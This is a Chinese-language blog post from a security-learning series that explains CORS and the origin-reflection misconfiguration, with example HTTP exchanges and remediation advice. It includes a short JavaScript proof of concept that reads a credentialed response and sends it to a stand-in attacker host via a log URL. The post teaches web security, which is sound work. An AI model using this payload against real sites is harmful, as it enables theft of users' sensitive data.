iT邦幫忙

第 12 屆 iT 邦幫忙鐵人賽

DAY 19
3
Security

資安這條路─以自建漏洞環境學習資訊安全系列 第 19

資安這條路 19 - [WebSecurity] Cross-origin resource sharing (CORS)

  • Cross-origin resource sharing (CORS)
    • 當我們在撰寫網站的時候,常常會遇到要去別的域名引入資源到自己的網站,當自己的網站有弱點,且可以引入外部網站資源,有些駭客會選擇引入自己撰寫的惡意 JavaScript 或是惡意檔案,透過弱點造成各大的危害。
    • 因此瀏覽器有一個機制是可以限定引入的外部資源是否合法。

只要使用 CORS 機制就可以防禦攻擊 ?

  • 並不是完全防禦,如果你設定錯誤也會造成駭客可以利用的弱點。

Cross-origin resource sharing (CORS)

    • CORS 其實是擴充同源政策 (SOP)

同源政策

說明

由 CORS 設定產生的問題

  • origin reflection

    GET /sensitivedata HTTP/1.1
    Host: vuln.feifei.tw
    Origin: https://malicious.feifei.com.tw
    Cookie: sessionid=...
    
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: https://malicious.feifei.com.tw
    Access-Control-Allow-Credentials: true
    ...
    
    • 允許來源:https://malicious.feifei.com.tw
    • 允許憑證: sessionid
    GET /sensitivedata HTTP/1.1
    Host: vuln.feifei.tw
    Origin: https://malicious1.feifei.com.tw
    Cookie: sessionid=...
    
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: https://malicious1.feifei.com.tw
    Access-Control-Allow-Credentials: true
    ...
    
    • 經過觀察發現可以 Origin 會反映在 Access-Control-Allow-Origin
    • POC
    var req = new XMLHttpRequest();
      req.onload = reqListener;
      req.open('get','https://vuln.feifei.tw/sensitivedata',true);
      req.withCredentials = true;
      req.send();
    
      function reqListener() {
      location='//malicious.feifei.com.tw/log?key='+this.responseText;
      }; 
    

修補建議

  1. 永遠不要相信來自瀏覽器的資料
  2. CORS 無法取代伺服器的安全策略,並須加強身分驗證與 Session 的管理
  3. 不要使用 null 作為白名單使用 Access-Control-Allow-Origin: null
  4. 切勿使用萬用字元 *
  5. 只允許信任網站 Access-Control-Allow-Origin
  6. 任何包含敏感資料的網站,若使用 CORS 請務必了解並設定正確的 CORS 設定

上一篇
資安這條路 18 - [Websecuirty] 開放重定向 Open Redirect
下一篇
資安這條路 20 - [WebSecurity] WebSocket
系列文
資安這條路─以自建漏洞環境學習資訊安全31

尚未有邦友留言

立即登入留言